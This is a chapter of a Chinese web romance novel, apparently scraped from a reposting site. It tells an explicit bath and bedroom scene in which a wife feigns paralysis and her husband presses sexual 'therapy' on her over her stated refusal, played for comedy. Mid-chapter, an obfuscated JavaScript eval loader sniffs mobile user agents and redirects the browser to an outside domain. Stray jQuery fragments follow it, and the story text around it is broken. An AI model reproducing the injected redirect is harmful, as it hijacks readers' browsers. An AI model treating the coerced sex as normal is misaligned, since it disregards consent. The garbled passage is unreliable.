239. 特殊疗法,自作自受

作品:《这个剑她今天必须得贩

    她实在忍不住了,闭着眼睛打了个喷嚏,以示警告。


    他顿了顿动作,侧过脸来紧张地观察起她的神色。温热的呼吸拍在她脸上……


    更痒痒了啊!


    不对,脸是可以挠的。


    她心满意足地挠了挠脸,又佯装睡熟翻身,扭动上半身,背贴在他胸膛上,直接压在他擒住他自己不明物体的手腕上。


    他一只手捞着她的腰,一只手被压着,这下再也不能为非作歹了吧?她美滋滋想着。


    她万万没想到,情急之下,他松开了扣住她腰的手。


    他万万没想到,她漂起来了。


    漂起来了……


    漂……起来了……


    仰泳是什么姿势,她就是什么造型。


    白花花的,漂在水面上,像一衣带水的岛屿。


    她双目骤睁,爆喊出声。


    与此同时,他眼疾手快,扣住一座岛屿便把她捞回来,重新坐好。


    她咬牙切齿,缓缓转过脸,怒目圆睁,都这样了,自己醒也是合理的了吧。


    他带着歉疚轻声道:“抱歉,是我的错,我有些乏了,睡过去了……手不知不觉就松了。”


    你睡着个头啊!


    她牙几近咬碎了怒视着他。


    你分明在变大变小变漂亮!


    “别生气了。”他垂下的发丝沾了水,黏在潮·红的脖颈上,乖巧地蹭蹭她的。


    是吧,倘若如他所言,她确实不应该生气的。可他明明在钻空子耍流氓啊,怎么反倒像是自己错了?


    水面微微波动。他依旧专注地看着她,既诚恳,又谦卑,低垂的睫毛满满的真诚与委屈,只差说一句求原谅。可平静柔缓的水面下,放肆的动作倒是一点儿没停。


    “差不多有一个时辰了。”她脸颊被热水熏作酡红,抿着嘴忍了许久后,从喉咙里挤出来这句话。


    他不语,只是依旧维持着这样。


    她不知道该夸他定力好,还是该夸他定力不好。说他定力好吧,水上他半垂的瞳孔都渐渐失焦了,呵出的热气更是暧昧不清,可说他定力差吧,水下的他也确实不曾入雷池半步。


    “水有些凉了。”她提醒着,该换去那边了。


    那边是清水,不比药浴看不清水下的情状,他再也不能水上一套,水下一套,为所欲为了吧?


    被从这只桶转移到另一只时,她忽然感觉自己像一只白条条的鱼,被药腌入味后,等着下锅。


    她心下苦笑:还真是……鱼·水·之欢啊。


    她摘的白梅花瓣并不足够覆盖一整个水面。两个人面对面盘腿坐着,水面下的光景便半遮半掩地落在二人眼里。


    暗香浮动,影影绰绰得勾人,若说看不真切,可彼此那样熟悉,早已在脑海里补全了。


    她:“你转过去。”


    他老实地转过去,面壁。


    坚实,线条有致的背肌便落在她眼里。浅白的梅瓣随着水珠沾在肌肤上,更添情致,她却无心于此。


    男色,她是喜好的。可此刻她眼里没有刀刻斧凿般标准优美的肌肉轮廓,只有他遍身的疤痕。


    比之背后曾为她挡下的那一长道旧疤,更加锥心的便是那处还泛着粉的伤口,是大婚那日她亲手所刺。


    她心里泛出比药味更苦涩的酸楚,清水一泡,就洇开了,被热气蒸到眼睛里,熏红了眼角。


    他兀自说着话,声音撞在桶壁上,闷闷的:“明日你自己泡吧,我在外边守着你。”


    “为什么?”


    他轻轻地苦笑:“还能因为什么,因为我想睡你啊。”


    “为什么不能呢?”这话她没问出口,只是在心里打了个转。


    他却自顾自地对着桶壁解释着:“你说过,这种事情是两个人互相成就的,须得尽兴才好。你没有知觉,我不想。”


    “我想让你高兴。”他低声补充道。


    她的手指贴上他裸露的背,再接着是柔软的手掌。


    他身躯一震,想转过脸来。


    “别转,就这样。”她温热的脸颊贴上他的背,双手自背后贴着他的肌肤滑向前,穿过他的双臂,交汇在他胸前,无隙拥抱着。


    无数纯白梅瓣被揉.捻至半透明,杂乱地黏连在两人被热气熏蒸得晕.红的皮肤上。


    她合上双目,贴紧的胸.脯感受着他结实紧致的肉·躯:“用李焉识的声音跟我说话,好吗?”


    过了好久,他才回她。


    “不敢。”


    “为什么?”


    “怕连这点念想也没有了。”


    “那你我……就都不说话吧。”


    他垂着眼帘,看身后穿来那双手交在他腰上。


    她的手算是纤细,却并无凸出的骨节青筋,依旧含着些许少女的柔软莹润之态。这样一双手搭在他线条粗犷遒劲的腰腹上,未免格格不入。


    “一直没来得及问你,右手掌心是怎么受的伤。”他撇开眼睛,不看她的手如何游走。


    “是……”她有些迟疑。


    “那晚,是我的错,”他压在心底的话终于出了口,“一直没向你道歉。”


    她没有再回应花船前夜究竟如何,是怎样的波折都不重要,没什么比当下的依偎更紧要。


    她柔软的手臂就像一条水蛇,在他的身躯上蜿蜒盘桓。他脖颈的血管因紧张而更加贲.张。


    他忽而仰起脖颈,双目紧闭,嘶了一声,胸膛片刻停滞后,大大呼出一口气。


    “不是嫌难看么?”他呼吸急促地问。


    “挺丑……萌的。”


    她不太擅长此事,他从不让她动手。可动作越生涩,反而越异样地刺激。


    许是这样的刺激让他联想到些什么。


    “阿惊……”他缓缓睁开水汽朦胧的双目,小心翼翼地开口,声音和屋内缭绕的云烟一样迷离,“大夫说,你这双腿没知觉,得多施加刺激,才有助于恢复。”


    她没多想,贴着他的背脊嗯了一声,打趣儿:“怎么,泡都泡了,还想拿针扎我啊?”


    “是不是口口扎口口也可以刺激。”他试探着问。


    她贴着的脸猝然抬起:“啊?”


    他转过身来,眼睛里亮晶晶的:“你腰以下是不是没知觉?”


    “是,是啊……”


    “那个是不是挺刺激的?”


    “是……是吧……”


    “那不就是也可以?”


    “逻辑完全没错呢……李焉识你真他爹的是个鬼才啊!”她将这句话给咽了下去。


    此事决计不可,这扎下去了,一嗓子嗷出来,不露馅也得露馅。


    “不要不要不要,”她双手扶着桶沿边漂边躲,“我洗干净了,我累了,我要回去睡觉了。”


    “这不比银针,扎进去又不会痛,你怕什么?”


    她扶着桶沿漂远,奈何桶也就这点儿大,被他伸出长臂一把捞回怀里。他松松环着她的腰,她便半漂不漂的半躺半靠在他腰腹上,水面上只露出个脑袋。


    她泪眼汪汪:“我,我可以拒绝吗?”


    “不可以,这是为你好。”他斩钉截铁。


    “那我能再说一句话吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777887|146658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他微微颔首。


    她咽了咽口水,仰头看身后之人:“我想说,你的提议很好,下次不要再提议了。”


    “唔!”


    话还未完,便被他自颈后吻上耳.垂。


    水花来回拍打着桶壁,飞溅点点,银光闪动。水温本就不低,又涩又烫,异.物感强烈。


    她双手捂着自己的嘴巴,眼泪哗哗流,体会了一把什么叫“李本病弱,为夫则刚。”


    他潮湿地吻掉她的眼泪,手臂斜向上箍紧她的胸腹,勒出雪白饱.满的肉.痕。


    “怎么好好地掉眼泪了?是腿有感觉了吗?”他关切而强硬地拿开她捂住嘴,勉强维系谎言的那双手。


    “李焉识,我……我去你大爷!”她把这句咒骂再次咽下去,换做了:


    我那是感动的泪水!


    我好感动啊……我太感动了……呜呜呜呜……李焉识,你真是大好人………


    一个乐于助人,乐善好施,乐此不疲,脱离了低级趣味的,大好人!


    呜呜呜呜……呜……


    “还是不起作用吗?”他问得极认真,像是完成课业。又像一位忧心病患,医者仁心的大夫。


    她捂着嘴,呜咽着,被迫着在一次又一次濒临崩溃中,咬牙给他反馈:


    “没感觉……真的没感觉……”


    “真的真的………没感觉……”


    “它就……不可能……有!感!觉!”


    她想起来前几日他给自己捶腿捏脚时,关切地问她是何感觉,她靠着床头啃枣儿,得意洋洋:


    “腰以下都没感觉,没有哦~”


    “多捏捏或许就有用了哦~”


    现下也算是自作自受了。


    她头脑发晕,不记得今晚是怎么结束这场对抗的了。她只知道,当终于被擦干抱去床上时,她以为的结束,只是中场休息。


    他特意将灯端得更近些,好观察她迷糊不清的神情。


    腿被叠到胸前。虚脱的她才一个激灵,手臂撑着往后挪:“我,我,我坦白!”


    “坦白什么?”他确实认真在听,并不敷衍,但这也不影响他接下来的动作,耐心跟她解释着,“我记得你从前这个姿势哭得最凶,若是这样也无效,今晚便先如此作罢,好好歇歇,明日再战。”


    他说这话时认真严肃得像上阵杀敌,大有打起十二分精神攻克人类史上第N大未解之谜的劲头。


    “我坦白……我坦白,我腿没事儿。”她终于自他濡.湿.滑.腻的吻中抽离,看着身上之人,喘息着嚎着将这话说出口。


    他正按着她的小腿,顿了一顿,停留片刻后,好似未听见此话一般,还是义无反顾侵入。


    他眼里满是疼惜:“你是担心我病躯未愈受不住,心疼我,才故意说这些,我明白。”


    她瞪大眼睛:我疼你个腿儿啊!你别给自己加戏啊!


    “我真好了!”她拼尽最后一丝力气,推开他送来的唇。


    “真好了?那你抬个腿我瞧瞧,能动我就信你的。”他态度不明。


    她叠在胸前的腿早就软了。


    他的记忆没有偏差,确实哭得很凶。


    一夜风急。屋里的油灯直至天边又雪才燃尽熄灭,山顶隆隆的风声吹吹打打,屋前地上又新堆起几寸积雪。


    他好久没有睡过这样扎实的觉了。简朴的屋子,薄门薄窗却足以阻隔寒风骤雪,他与酣睡的妻子温暖相拥。可越是平实日子,越如指尖流沙。


    次日。


    人类康复学史上的奇迹。


    圣女她,重新站起来了!